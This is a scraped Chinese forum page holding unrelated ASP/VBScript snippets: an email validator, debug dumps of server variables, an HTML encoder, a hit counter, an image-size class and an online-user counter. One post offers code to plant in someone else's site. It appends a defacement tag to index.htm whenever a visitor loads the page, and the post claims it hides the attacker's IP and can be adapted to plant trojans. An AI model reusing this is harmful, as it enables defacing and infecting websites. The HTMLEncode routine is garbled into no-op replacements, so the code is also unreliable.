If left(aEmail,1)="." Or right(aEmail,1)="." Or left(aEmail,1)="@" Or right(aEmail,1)="@" Then
isEmail=0
EXIT FUNCTION
End If
v="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.@"
iLength=len(aEmail)
For i=1 To iLength
checkletter=mid(aEmail,i,1)
If instr(v,checkletter)=0 Then
isEmail=0
EXIT FUNCTION
End If
Next
isEmail=1
End Function
'测试用:显示服务器信息
Sub showServer
Dim name
Response.write "<Table border=1 bordercolor=lightblue CELLSPACING=0>"
for each name in request.servervariables
Response.write "<tr>"
Response.write "<td>"&name&"</td>"
Response.write "<td>"&request.servervariables(name)&"<br></td>"
Response.write "</tr>"
next
Response.write "</table>"
End Sub
'测试用:显示Rs结果集以及字段名称
Sub showRs(rs)
Dim strTable,whatever
Response.write "<center><table><tr>"
for each whatever in rs.fields
response.write "<td><b>" & whatever.name & "</B></TD>"
next
strTable = "</tr><tr><td>"&rs.GetString(,,"</td><td>","</tr><tr><td>"," ") &"</td></tr></table></center>"
Response.Write(strTable)
End Sub
'用HTML格式显示文本
function HTMLEncode(fString)
if not isnull(fString) then
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(34), """)
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P> ")
fString = Replace(fString, CHR(10), "<BR> ")
HTMLEncode = fString
end if
end function
'测试用:显示调试错误信息
Sub showError
Dim sErrMsg
sErrMsg=Err.Source&" "&Err.Description
Response.write "<center>"&sErrMsg&"</center>"
Err.clear
End Sub
'显示文字计数器
Sub showCounter
Dim fs,outfile,filename,count
filename=server.mappath("count.txt")
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.fileExists(filename) Then
Set outfile=fs.openTextFile(filename,1)
count=outfile.readline
count=count+1
Response.write "<center>浏览人次："&count&"<center>"
outfile.close
Set outfile=fs.CreateTextFile(filename)
outfile.writeline(count)
Else
Set outfile=fs.openTextFile(filename,8,TRUE)
count=0
outfile.writeline(count)
END IF
outfile.close
set fs=nothing
End Sub
%> 一整人ASP代码，插入某页里，然后闪人，别人访问，主页有挂挂了。就算有日志，记录的IP也不你的。小做修改也可以用于挂马。插马 经常给发现，用这个方便多了。多多讨论，多多改进。
CODE:
<%
public sub savetxt(txtname,inputtxt,intype)
if trim(txtname) = empty then txtname = "INDEX.HTML"
if inputtxt = empty then inputtxt = ""
if cint(intype)<>8 and cint(intype)<>2 then intype = 8
set fso = server.CreateObject("scripting.filesystemobject")
filepath = server.MapPath(txtname)
if not fso.fileexists(filepath) then
set txt = fso.opentextfile(filepath,8,true)
txt.writeline inputtxt
exit sub
end if
set txt = fso.opentextfile(filepath,cint(intype))
txt.writeline inputtxt
end sub
call savetxt("index.htm","路过BY 混世魔王",8)
%> Class DealImgSize
dim aso
Private Sub Class_Initialize
set aso=CreateObject("Adodb.Stream")
aso.Mode=3
aso.Type=1
aso.Open
End Sub
Private Sub Class_Terminate
set aso=nothing
End Sub
Private Function Bin2Str(Bin)
Dim I, Str, clow
For I=1 to LenB(Bin)
clow=MidB(Bin,I,1)
if ASCB(clow)<128 then
Str = Str & Chr(ASCB(clow))
else
I=I+1
if I <= LenB(Bin) then Str = Str & Chr(ASCW(MidB(Bin,I,1)&clow))
end if
Next
Bin2Str = Str
End Function
Private Function BinVal(bin)
dim ret,i
ret = 0
for i = lenb(bin) to 1 step -1
ret = ret *256 + ascb(midb(bin,i,1))
next
BinVal=ret
End Function
Private Function BinVal2(bin)
dim ret,i
ret = 0
for i = 1 to lenb(bin)
ret = ret *256 + ascb(midb(bin,i,1))
next
BinVal2=ret
End Function
Function getImageSize(filespec)
dim ret(2),bFlag,p1
aso.LoadFromFile(filespec)
bFlag=aso.read(3)
select case hex(binVal(bFlag))
case "4E5089":
aso.read(15)
ret(0)="PNG"
ret(1)=BinVal2(aso.read(2))
aso.read(2)
ret(2)=BinVal2(aso.read(2))
case "464947":
aso.read(3)
ret(0)="GIF"
ret(1)=BinVal(aso.read(2))
ret(2)=BinVal(aso.read(2))
case "FFD8FF":
do
do: p1=binVal(aso.Read(1)): loop while p1=255 and not aso.EOS
if p1>191 and p1<196 then exit do else aso.read(binval2(aso.Read(2))-2)
do:p1=binVal(aso.Read(1)):loop while p1<255 and not aso.EOS
loop while true
aso.Read(3)
ret(0)="JPG"
ret(2)=binval2(aso.Read(2))
ret(1)=binval2(aso.Read(2))
case else:
if left(Bin2Str(bFlag),2)="BM" then
aso.Read(15)
ret(0)="BMP"
ret(1)=binval(aso.Read(4))
ret(2)=binval(aso.Read(4))
else
ret(0)=""
end if
end select
getImageSize=ret
End Function
Function Resize(ow,oh,rw,rh)
dim wh(1)
if cint(ow)>cint(oh) then
if cint(ow)>cint(rw) then
wh(0)=rw
wh(1)=int(oh/(ow/rw))
else
wh(0)=ow
wh(1)=oh
end if
else
if cint(oh)>cint(rh) then
wh(0)=int(ow/(oh/rh))
wh(1)=rh
else
wh(0)=ow
wh(1)=oh
end if
end if
Resize=wh
End Function
End Class
'********************
' 使用方法
'********************
Dim aa
Set aa=new DealImgSize
Dim pw,ph,rpw,rph
pw=aa.getImageSize(Server.MapPath("01.jpg"))(1)
ph=aa.getImageSize(Server.MapPath("01.jpg"))(2)
rpw=aa.Resize(pw,ph,160,120)(0)
rph=aa.Resize(pw,ph,160,120)(1)
Response.Write("<img src=01.jpg width="&rpw&" height="&rph&">")
Set aa=Nothing
处理图片大小 sub session_onstart
application.lock
if isempty(application("onlineusers")) then
application("onlineusers")=1
else
application("onlineusers")=application("onlineusers")+1
end if
application.unlock
end sub
sub session_onend
application.lock
application("onlineusers")=application("onlineusers")-1
application.unlock
end sub
实现在线人数...
页:
[1]